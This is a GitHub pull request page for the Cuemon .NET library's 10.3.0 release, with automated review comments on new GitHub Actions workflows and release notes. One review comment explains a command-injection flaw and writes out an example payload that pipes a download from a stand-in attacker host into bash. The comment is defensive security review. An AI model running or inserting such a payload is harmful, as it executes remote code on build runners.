Conversation
📝 WalkthroughWalkthroughThis PR automates service update workflows and releases version 10.3.0. It introduces GitHub Actions workflows for triggering downstream service updates on release, adds new public APIs (AssemblyContext, Patterns exception helpers, Stack TryPop extensions, MinimalJsonOptions), improves option registration safeguards via TryConfigure patterns, and updates all package release notes and dependencies. Changes
Estimated code review effort🎯 3 (Moderate) | ⏱️ ~25 minutes Possibly related PRs
Poem
🚥 Pre-merge checks | ✅ 2 | ❌ 1❌ Failed checks (1 inconclusive)
✅ Passed checks (2 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out. Comment |
There was a problem hiding this comment.
Actionable comments posted: 5
🤖 Prompt for all review comments with AI agents
Verify each finding against the current code and only fix it if needed.
Inline comments:
In @.github/workflows/service-update.yml:
- Around line 67-75: The workflow writes a malformed header because the ENTRY
string uses "Version ${NEW}" instead of "Version: ${NEW}" and the TFM fallback
never triggers because the pipeline (grep -m1 "^Availability:" | sed
's/Availability: //') can yield an empty string; fix by changing ENTRY to
include the colon ("Version: ${NEW}") and compute TFM from the grep+sed output
but apply a Bash fallback like ${TFM:-".NET 10, .NET 9 and .NET Standard 2.0"}
so an empty value is replaced; update the TFM assignment that currently uses
TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //' || echo "...")
to capture the pipeline output then use parameter expansion for the default.
- Around line 38-41: The workflow currently injects untrusted values via direct
`${{ ... }}` interpolation into shell scripts (variables SOURCE, VERSION and
later SRC_VER), enabling command injection; fix by moving those expression
evaluations into the step's env: map (or use step inputs) so the shell reads
them only from environment variables (e.g., set SOURCE and VERSION in env: using
`${{ github.event... }}`) and then reference them in the script as plain shell
variables (`$SOURCE`, `$VERSION`), applying the same change for the "Create
branch and open PR" step (SRC_VER/SOURCE) to eliminate direct interpolation into
the script body.
In @.github/workflows/trigger-downstream.yml:
- Around line 57-74: The loop that calls urllib.request.urlopen inside for repo
in targets can raise urllib.error.HTTPError and currently will abort the entire
loop; wrap the urlopen call (and the request creation if you prefer) in a
try/except that catches urllib.error.HTTPError (and Exception as a fallback),
log or print the failure including repo and error details, and continue to the
next repo so one failure doesn't stop processing; also remove the unused sys
import (or use it if intended) to clean up the module.
In @.nuget/Cuemon.Core/PackageReleaseNotes.txt:
- Line 11: Update the release note entry that currently reads "ADDED Patterns
class in the Cuemon namespace with two new methods: IsFatalException and
IsRecoverableException" to use the correct change type "EXTENDED" since the
Patterns class pre-exists; specifically, edit the text referencing the Patterns
class and its two new methods (IsFatalException and IsRecoverableException) so
it reads e.g. "EXTENDED Patterns class in the Cuemon namespace with two new
methods: IsFatalException and IsRecoverableException" to accurately reflect an
extension rather than an addition.
In `@CHANGELOG.md`:
- Around line 31-34: Update the CHANGELOG.md "Fixed" section to include the
AssemblyContextOptions bug fix: add a bullet stating that AssemblyContextOptions
now safely handles recoverable reflection exceptions during exported-type
inspection (matching the per-package release notes and PR summary), so readers
see the same fix aggregated in the main changelog; reference the symbol
AssemblyContextOptions and ensure the phrasing mirrors the wording in
.nuget/Cuemon.Core/PackageReleaseNotes.txt and the PR summary for consistency.
| SOURCE="${{ github.event.client_payload.source_repo || github.event.inputs.source_repo }}" | ||
| VERSION="${{ github.event.client_payload.source_version || github.event.inputs.source_version }}" | ||
| echo "source=$SOURCE" >> $GITHUB_OUTPUT | ||
| echo "version=$VERSION" >> $GITHUB_OUTPUT |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
find . -name "service-update.yml" -type fRepository: codebeltnet/cuemon
Length of output: 100
🏁 Script executed:
cat -n .github/workflows/service-update.yml | head -120Repository: codebeltnet/cuemon
Length of output: 5432
🌐 Web query:
GitHub Actions command injection vulnerability context expressions shell interpolation security
💡 Result:
GitHub Actions “command injection” most commonly happens when untrusted data from a GitHub context (issue/PR title/body, branch names, commit messages, etc.) is inserted directly into a run: script via an expression (${{ ... }}).
Why it happens (context expressions + shell interpolation)
- GitHub evaluates
${{ ... }}first (server-side / runner-prep), before your step runs. - The evaluated value is spliced into a temporary script file that is then executed by the step’s shell (bash, pwsh, etc.).
- If the context value contains shell metacharacters (e.g.,
$(...),"; ...), it can break out of the intended string and execute attacker-controlled commands. (docs.github.com)
Example vulnerable pattern:
- run: echo "${{ github.event.issue.title }}"If an attacker controls the issue title, they can inject something like $(touch pwned.txt) and it becomes executable after expression expansion. (github.blog)
GitHub explicitly calls out many github.* fields as potentially attacker-controlled (often ending in title, body, message, name, ref, etc.). (docs.github.com)
Safer pattern (break the “expression → script text” link)
Put untrusted expression results into env: (or with: inputs) and then reference normal shell variables. This keeps the untrusted value from rewriting your script text during expression expansion. (securitylab.github.com)
- name: Print title safely
env:
TITLE: ${{ github.event.issue.title }}
run: |
echo "$TITLE"Practical security takeaways
- Treat event payload data (
github.event.*) as untrusted input and avoid embedding it directly insiderun:lines via${{ }}. (docs.github.com) - Prefer
env:indirection + normal shell quoting over expression-in-command construction. (securitylab.github.com) - Use GitHub’s recommended workflow-hardening practices (including handling untrusted input and tightening permissions) to reduce blast radius if something slips through. (github.blog)
Citations:
- 1: https://docs.github.com/actions/concepts/security/script-injections?utm_source=openai
- 2: https://github.blog/security/supply-chain-security/four-tips-to-keep-your-github-actions-workflows-secure/?utm_source=openai
- 3: https://docs.github.com/actions/concepts/security/script-injections?utm_source=openai
- 4: https://securitylab.github.com/resources/github-actions-untrusted-input/?utm_source=openai
- 5: https://securitylab.github.com/resources/github-actions-untrusted-input/?utm_source=openai
- 6: https://docs.github.com/actions/concepts/security/script-injections?utm_source=openai
- 7: https://securitylab.github.com/resources/github-actions-untrusted-input/?utm_source=openai
- 8: https://github.blog/security/supply-chain-security/four-tips-to-keep-your-github-actions-workflows-secure/?utm_source=openai
Command injection via direct ${{ }} interpolation into shell scripts.
GitHub Actions evaluates ${{ ... }} expressions on the runner and injects the result into the script file before the shell executes it. In bash, command substitution ($()) inside double quotes is evaluated by the shell—so a user with write access can provide a source_repo or source_version value like $(curl https://attacker.example/payload | bash) and have it execute in the runner.
The same pattern reappears at lines 109–112 for SOURCE and SRC_VER.
Proposed fix — use env: instead of direct interpolation
- name: Resolve trigger inputs
id: trigger
run: |
- SOURCE="${{ github.event.client_payload.source_repo || github.event.inputs.source_repo }}"
- VERSION="${{ github.event.client_payload.source_version || github.event.inputs.source_version }}"
echo "source=$SOURCE" >> $GITHUB_OUTPUT
echo "version=$VERSION" >> $GITHUB_OUTPUT
+ env:
+ SOURCE: ${{ github.event.client_payload.source_repo || github.event.inputs.source_repo }}
+ VERSION: ${{ github.event.client_payload.source_version || github.event.inputs.source_version }}Apply the same pattern to the Create branch and open PR step (lines 109–112):
env:
GH_TOKEN: ${{ steps.app-token.outputs.token }}
+ _SOURCE: ${{ steps.trigger.outputs.source }}
+ _SRC_VER: ${{ steps.trigger.outputs.version }}
run: |
NEW="${{ steps.newver.outputs.new }}"
BRANCH="${{ steps.newver.outputs.branch }}"
- SOURCE="${{ steps.trigger.outputs.source }}"
- SRC_VER="${{ steps.trigger.outputs.version }}"
+ SOURCE="$_SOURCE"
+ SRC_VER="$_SRC_VER"🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/service-update.yml around lines 38 - 41, The workflow
currently injects untrusted values via direct `${{ ... }}` interpolation into
shell scripts (variables SOURCE, VERSION and later SRC_VER), enabling command
injection; fix by moving those expression evaluations into the step's env: map
(or use step inputs) so the shell reads them only from environment variables
(e.g., set SOURCE and VERSION in env: using `${{ github.event... }}`) and then
reference them in the script as plain shell variables (`$SOURCE`, `$VERSION`),
applying the same change for the "Create branch and open PR" step
(SRC_VER/SOURCE) to eliminate direct interpolation into the script body.
| - name: Update PackageReleaseNotes.txt | ||
| run: | | ||
| NEW="${{ steps.newver.outputs.new }}" | ||
| for f in .nuget/*/PackageReleaseNotes.txt; do | ||
| [ -f "$f" ] || continue | ||
| TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //' || echo ".NET 10, .NET 9 and .NET Standard 2.0") | ||
| ENTRY="Version ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n" | ||
| { printf "$ENTRY"; cat "$f"; } > "$f.tmp" && mv "$f.tmp" "$f" | ||
| done |
There was a problem hiding this comment.
Two bugs in PackageReleaseNotes.txt entry generation.
1 — Missing colon (Version:) — Line 73 emits Version ${NEW} but all existing entries use Version: X.Y.Z. After this workflow runs, the file will have inconsistently formatted headers, which may break any tooling that parses them by pattern.
2 — TFM fallback never triggers — The pipeline grep -m1 | sed || echo fallback uses sed's exit code (always 0, even on empty input) as the pipeline result, not grep's. When no Availability: line exists, TFM silently becomes an empty string, producing a malformed entry (Availability: ).
🛠️ Proposed fix
- TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //' || echo ".NET 10, .NET 9 and .NET Standard 2.0")
- ENTRY="Version ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n"
+ TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //')
+ TFM="${TFM:-.NET 10, .NET 9 and .NET Standard 2.0}"
+ ENTRY="Version: ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n"Using the bash parameter expansion ${TFM:-default} correctly falls back when TFM is empty regardless of pipeline exit codes.
📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| - name: Update PackageReleaseNotes.txt | |
| run: | | |
| NEW="${{ steps.newver.outputs.new }}" | |
| for f in .nuget/*/PackageReleaseNotes.txt; do | |
| [ -f "$f" ] || continue | |
| TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //' || echo ".NET 10, .NET 9 and .NET Standard 2.0") | |
| ENTRY="Version ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n" | |
| { printf "$ENTRY"; cat "$f"; } > "$f.tmp" && mv "$f.tmp" "$f" | |
| done | |
| - name: Update PackageReleaseNotes.txt | |
| run: | | |
| NEW="${{ steps.newver.outputs.new }}" | |
| for f in .nuget/*/PackageReleaseNotes.txt; do | |
| [ -f "$f" ] || continue | |
| TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //') | |
| TFM="${TFM:-.NET 10, .NET 9 and .NET Standard 2.0}" | |
| ENTRY="Version: ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n" | |
| { printf "$ENTRY"; cat "$f"; } > "$f.tmp" && mv "$f.tmp" "$f" | |
| done |
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/service-update.yml around lines 67 - 75, The workflow
writes a malformed header because the ENTRY string uses "Version ${NEW}" instead
of "Version: ${NEW}" and the TFM fallback never triggers because the pipeline
(grep -m1 "^Availability:" | sed 's/Availability: //') can yield an empty
string; fix by changing ENTRY to include the colon ("Version: ${NEW}") and
compute TFM from the grep+sed output but apply a Bash fallback like ${TFM:-".NET
10, .NET 9 and .NET Standard 2.0"} so an empty value is replaced; update the TFM
assignment that currently uses TFM=$(grep -m1 "^Availability:" "$f" | sed
's/Availability: //' || echo "...") to capture the pipeline output then use
parameter expansion for the default.
| for repo in targets: | ||
| url = f'https://api.github.com/repos/codebeltnet/{repo}/dispatches' | ||
| payload = json.dumps({ | ||
| 'event_type': 'codebelt-service-update', | ||
| 'client_payload': { | ||
| 'source_repo': source, | ||
| 'source_version': version | ||
| } | ||
| }).encode() | ||
| req = urllib.request.Request(url, data=payload, method='POST', headers={ | ||
| 'Authorization': f'Bearer {token}', | ||
| 'Accept': 'application/vnd.github+json', | ||
| 'Content-Type': 'application/json', | ||
| 'X-GitHub-Api-Version': '2022-11-28' | ||
| }) | ||
| with urllib.request.urlopen(req) as r: | ||
| print(f'✓ Dispatched to {repo}: HTTP {r.status}') | ||
| EOF |
There was a problem hiding this comment.
A single failed dispatch silently aborts all remaining targets.
urllib.request.urlopen raises urllib.error.HTTPError on any 4xx/5xx response. With no try/except, a transient error (rate limit, wrong repo name, misconfigured App permissions) on any entry terminates the loop mid-flight, leaving subsequent downstream repos without the dispatch event. Also, sys is imported but never used.
🛠️ Proposed fix
- import json, urllib.request, os, sys
+ import json, urllib.request, urllib.error, os
targets = json.load(open('.github/dispatch-targets.json'))
token = os.environ['GH_TOKEN']
version = os.environ['VERSION']
source = os.environ['SOURCE_REPO']
+ errors = []
for repo in targets:
url = f'https://api.github.com/repos/codebeltnet/{repo}/dispatches'
payload = json.dumps({
'event_type': 'codebelt-service-update',
'client_payload': {
'source_repo': source,
'source_version': version
}
}).encode()
req = urllib.request.Request(url, data=payload, method='POST', headers={
'Authorization': f'Bearer {token}',
'Accept': 'application/vnd.github+json',
'Content-Type': 'application/json',
'X-GitHub-Api-Version': '2022-11-28'
})
- with urllib.request.urlopen(req) as r:
- print(f'✓ Dispatched to {repo}: HTTP {r.status}')
+ try:
+ with urllib.request.urlopen(req) as r:
+ print(f'✓ Dispatched to {repo}: HTTP {r.status}')
+ except urllib.error.HTTPError as e:
+ print(f'✗ Failed to dispatch to {repo}: HTTP {e.code} {e.reason}', flush=True)
+ errors.append(repo)
+ if errors:
+ raise SystemExit(f'Dispatch failed for: {", ".join(errors)}')🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.github/workflows/trigger-downstream.yml around lines 57 - 74, The loop that
calls urllib.request.urlopen inside for repo in targets can raise
urllib.error.HTTPError and currently will abort the entire loop; wrap the
urlopen call (and the request creation if you prefer) in a try/except that
catches urllib.error.HTTPError (and Exception as a fallback), log or print the
failure including repo and error details, and continue to the next repo so one
failure doesn't stop processing; also remove the unused sys import (or use it if
intended) to clean up the module.
| - ADDED AssemblyContext class in the Cuemon.Reflection namespace that provides filtered discovery of assemblies in the current application domain, with optional traversal of referenced assemblies | ||
| - ADDED AssemblyContextOptions class in the Cuemon.Reflection namespace that provides configuration options for AssemblyContext filtering and traversal | ||
| - ADDED StackDecoratorExtensions class in the Cuemon.Collections.Generic namespace with TryPop extension method for IDecorator<Stack{T}> | ||
| - ADDED Patterns class in the Cuemon namespace with two new methods: IsFatalException and IsRecoverableException |
There was a problem hiding this comment.
ADDED should be EXTENDED for the pre-existing Patterns class.
The Patterns class already existed in prior releases (10.1.0 Bug Fixes, 9.0.0 Breaking Changes, etc.). Describing it as ADDED implies the class itself is new.
📝 Proposed fix
- - ADDED Patterns class in the Cuemon namespace with two new methods: IsFatalException and IsRecoverableException
+ - EXTENDED Patterns class in the Cuemon namespace with two new methods: IsFatalException and IsRecoverableExceptionAs per coding guidelines, .nuget/**/*.txt files must accurately document public API changes.
📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| - ADDED Patterns class in the Cuemon namespace with two new methods: IsFatalException and IsRecoverableException | |
| - EXTENDED Patterns class in the Cuemon namespace with two new methods: IsFatalException and IsRecoverableException |
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.nuget/Cuemon.Core/PackageReleaseNotes.txt at line 11, Update the release
note entry that currently reads "ADDED Patterns class in the Cuemon namespace
with two new methods: IsFatalException and IsRecoverableException" to use the
correct change type "EXTENDED" since the Patterns class pre-exists;
specifically, edit the text referencing the Patterns class and its two new
methods (IsFatalException and IsRecoverableException) so it reads e.g. "EXTENDED
Patterns class in the Cuemon namespace with two new methods: IsFatalException
and IsRecoverableException" to accurately reflect an extension rather than an
addition.
| ### Fixed | ||
|
|
||
| - Prevented repeated `IConfigureOptions<TOptions>` registrations when formatter/options extension methods are called multiple times. | ||
|
|
There was a problem hiding this comment.
AssemblyContextOptions bug fix is missing from the Fixed section.
The per-package release notes (.nuget/Cuemon.Core/PackageReleaseNotes.txt line 18) and the PR summary both document a fix to AssemblyContextOptions for safely handling recoverable reflection exceptions during exported-type inspection. This fix is absent from the aggregated CHANGELOG.md Fixed section.
📝 Proposed addition
### Fixed
- Prevented repeated `IConfigureOptions<TOptions>` registrations when formatter/options extension methods are called multiple times.
+- `AssemblyContextOptions` class in the Cuemon.Reflection namespace to safely handle recoverable reflection exceptions while inspecting exported types.📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
| ### Fixed | |
| - Prevented repeated `IConfigureOptions<TOptions>` registrations when formatter/options extension methods are called multiple times. | |
| ### Fixed | |
| - Prevented repeated `IConfigureOptions<TOptions>` registrations when formatter/options extension methods are called multiple times. | |
| - `AssemblyContextOptions` class in the Cuemon.Reflection namespace to safely handle recoverable reflection exceptions while inspecting exported types. | |
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In `@CHANGELOG.md` around lines 31 - 34, Update the CHANGELOG.md "Fixed" section
to include the AssemblyContextOptions bug fix: add a bullet stating that
AssemblyContextOptions now safely handles recoverable reflection exceptions
during exported-type inspection (matching the per-package release notes and PR
summary), so readers see the same fix aggregated in the main changelog;
reference the symbol AssemblyContextOptions and ensure the phrasing mirrors the
wording in .nuget/Cuemon.Core/PackageReleaseNotes.txt and the PR summary for
consistency.
There was a problem hiding this comment.
Pull request overview
This PR prepares the 10.3.0 launch by introducing new GitHub automation for service updates/downstream dispatching, updating dependency versions, and refreshing package release notes/changelog to reflect the 10.3.0 release.
Changes:
- Added workflows to (1) trigger downstream service-update events on release publish and (2) open automated “service update” PRs via repository dispatch/workflow dispatch.
- Updated
CHANGELOG.mdwith a new 10.3.0 entry describing notable additions/changes/fixes. - Bumped dependency/tooling versions and updated many
.nuget/*/PackageReleaseNotes.txtfiles for 10.3.0.
Reviewed changes
Copilot reviewed 47 out of 47 changed files in this pull request and generated 3 comments.
Show a summary per file
| File | Description |
|---|---|
| Directory.Packages.props | Updates shared package versions (test/benchmark tooling and coverage tools). |
| CHANGELOG.md | Adds the 10.3.0 release entry summarizing new features and fixes. |
| .nuget/Cuemon.Xml/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Threading/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Security.Cryptography/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Runtime.Caching/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Resilience/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Net/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.IO/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Extensions.Xml/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Extensions.Threading/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Extensions.Text/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Extensions.Text.Json/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Extensions.Runtime.Caching/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Extensions.Reflection/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Extensions.Net/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Extensions.IO/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Extensions.Hosting/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Extensions.Diagnostics/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Extensions.DependencyInjection/PackageReleaseNotes.txt | Prepends 10.3.0 entry including DI option-registration improvements/fixes. |
| .nuget/Cuemon.Extensions.Data/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Extensions.Data.Integrity/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Extensions.Core/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Extensions.Collections.Specialized/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Extensions.Collections.Generic/PackageReleaseNotes.txt | Prepends 10.3.0 entry noting the new TryPop extension feature. |
| .nuget/Cuemon.Extensions.AspNetCore/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Extensions.AspNetCore.Xml/PackageReleaseNotes.txt | Prepends 10.3.0 entry noting formatter option-registration changes/fixes. |
| .nuget/Cuemon.Extensions.AspNetCore.Text.Json/PackageReleaseNotes.txt | Prepends 10.3.0 entry noting minimal JSON options + formatter option-registration fixes. |
| .nuget/Cuemon.Extensions.AspNetCore.Mvc/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Extensions.AspNetCore.Mvc.RazorPages/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Extensions.AspNetCore.Mvc.Formatters.Xml/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Extensions.AspNetCore.Mvc.Formatters.Text.Json/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Extensions.AspNetCore.Authentication/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Diagnostics/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Data/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Data.SqlClient/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Data.Integrity/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.Core/PackageReleaseNotes.txt | Prepends 10.3.0 entry listing core feature additions/changes/fixes. |
| .nuget/Cuemon.Core.App/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.AspNetCore/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.AspNetCore.Razor.TagHelpers/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.AspNetCore.Mvc/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.AspNetCore.Authentication/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .nuget/Cuemon.AspNetCore.App/PackageReleaseNotes.txt | Prepends 10.3.0 release notes entry. |
| .github/workflows/trigger-downstream.yml | Adds workflow to dispatch downstream service update events when a release is published. |
| .github/workflows/service-update.yml | Adds workflow to automate version bumps/release-note updates and open a PR. |
| .github/dispatch-targets.json | Adds downstream dispatch target configuration used by the release-trigger workflow. |
| - name: Bump NuGet packages | ||
| run: python3 .github/scripts/bump-nuget.py | ||
| env: | ||
| TRIGGER_SOURCE: ${{ steps.trigger.outputs.source }} | ||
| TRIGGER_VERSION: ${{ steps.trigger.outputs.version }} | ||
|
|
There was a problem hiding this comment.
The workflow calls python3 .github/scripts/bump-nuget.py, but the repository does not contain .github/scripts/bump-nuget.py (and .github/scripts/ does not exist). This step will fail at runtime; either add the script (and directory) to the repo or update the workflow to point at the correct existing script path.
| NEW="${{ steps.newver.outputs.new }}" | ||
| for f in .nuget/*/PackageReleaseNotes.txt; do | ||
| [ -f "$f" ] || continue | ||
| TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //' || echo ".NET 10, .NET 9 and .NET Standard 2.0") |
There was a problem hiding this comment.
TFM=$(grep ... | sed ... || echo ...) will not fall back as intended because the grep | sed pipeline typically exits with the status of sed, even when grep finds no match; this can yield an empty TFM and produce malformed release-note headers. Consider explicitly checking for an empty TFM (or enable set -o pipefail) before applying the default value.
| TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //' || echo ".NET 10, .NET 9 and .NET Standard 2.0") | |
| TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //') | |
| if [ -z "$TFM" ]; then | |
| TFM=".NET 10, .NET 9 and .NET Standard 2.0" | |
| fi |
| for f in .nuget/*/PackageReleaseNotes.txt; do | ||
| [ -f "$f" ] || continue | ||
| TFM=$(grep -m1 "^Availability:" "$f" | sed 's/Availability: //' || echo ".NET 10, .NET 9 and .NET Standard 2.0") | ||
| ENTRY="Version ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n" |
There was a problem hiding this comment.
The release-notes header template uses Version ${NEW} (without a colon). Existing PackageReleaseNotes.txt files use Version: for the current and immediately previous release entries, so this workflow will generate release notes that deviate from the established format. Update the template to emit Version: ${NEW} (and preserve the Version/Version: convention used in the .nuget/*/PackageReleaseNotes.txt files).
| ENTRY="Version ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n" | |
| ENTRY="Version: ${NEW}\nAvailability: ${TFM}\n \n# ALM\n- CHANGED Dependencies have been upgraded to the latest compatible versions for all supported target frameworks (TFMs)\n \n" |
|
Codecov Report✅ All modified and coverable lines are covered by tests. Additional details and impacted files@@ Coverage Diff @@
## main #149 +/- ##
==========================================
+ Coverage 80.53% 80.66% +0.13%
==========================================
Files 598 600 +2
Lines 18839 18932 +93
Branches 1936 1949 +13
==========================================
+ Hits 15172 15272 +100
+ Misses 3601 3592 -9
- Partials 66 68 +2 ☔ View full report in Codecov by Sentry. 🚀 New features to boost your workflow:
|



This pull request introduces a new automated workflow for service updates and downstream triggering, and bumps package versions across multiple NuGet packages to 10.3.0 with updated release notes. It also adds new features, improvements, and bug fixes in several core libraries, especially in
Cuemon.CoreandCuemon.Extensions.AspNetCore.Text.Json. The changes streamline dependency management and improve automation for package maintenance.Automation and Workflow Enhancements:
.github/workflows/service-update.ymlto automate service update PRs, including package version bumps, changelog updates, and PR creation with GitHub App authentication..github/workflows/trigger-downstream.ymlto dispatch service update events to downstream repositories upon new releases, using.github/dispatch-targets.jsonto determine targets. [1] [2]Dependency Updates and Release Notes:
PackageReleaseNotes.txtfiles to reflect upgraded dependencies for all supported target frameworks. [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12]Core Library Features and Improvements:
Cuemon.Core:AssemblyContextandAssemblyContextOptionsfor filtered assembly discovery.StackDecoratorExtensionswithTryPopforIDecorator<Stack<T>>.IsFatalExceptionandIsRecoverableExceptiontoPatterns.Patterns.TryInvoketo apply exception filters and updatedWorld.StatisticalRegionsto returnIEnumerable<StatisticalRegionInfo>.AssemblyContextOptionsto handle recoverable reflection exceptions safely.Cuemon.Extensions.AspNetCore.Text.Json:MinimalJsonOptionsandServiceCollectionExtensions.AddMinimalJsonOptionsfor minimal API support.AddJsonFormatterOptionsto avoid duplicate option registrations.IConfigureOptions<JsonFormatterOptions>registrations.Summary by CodeRabbit
New Features
Bug Fixes
Improvements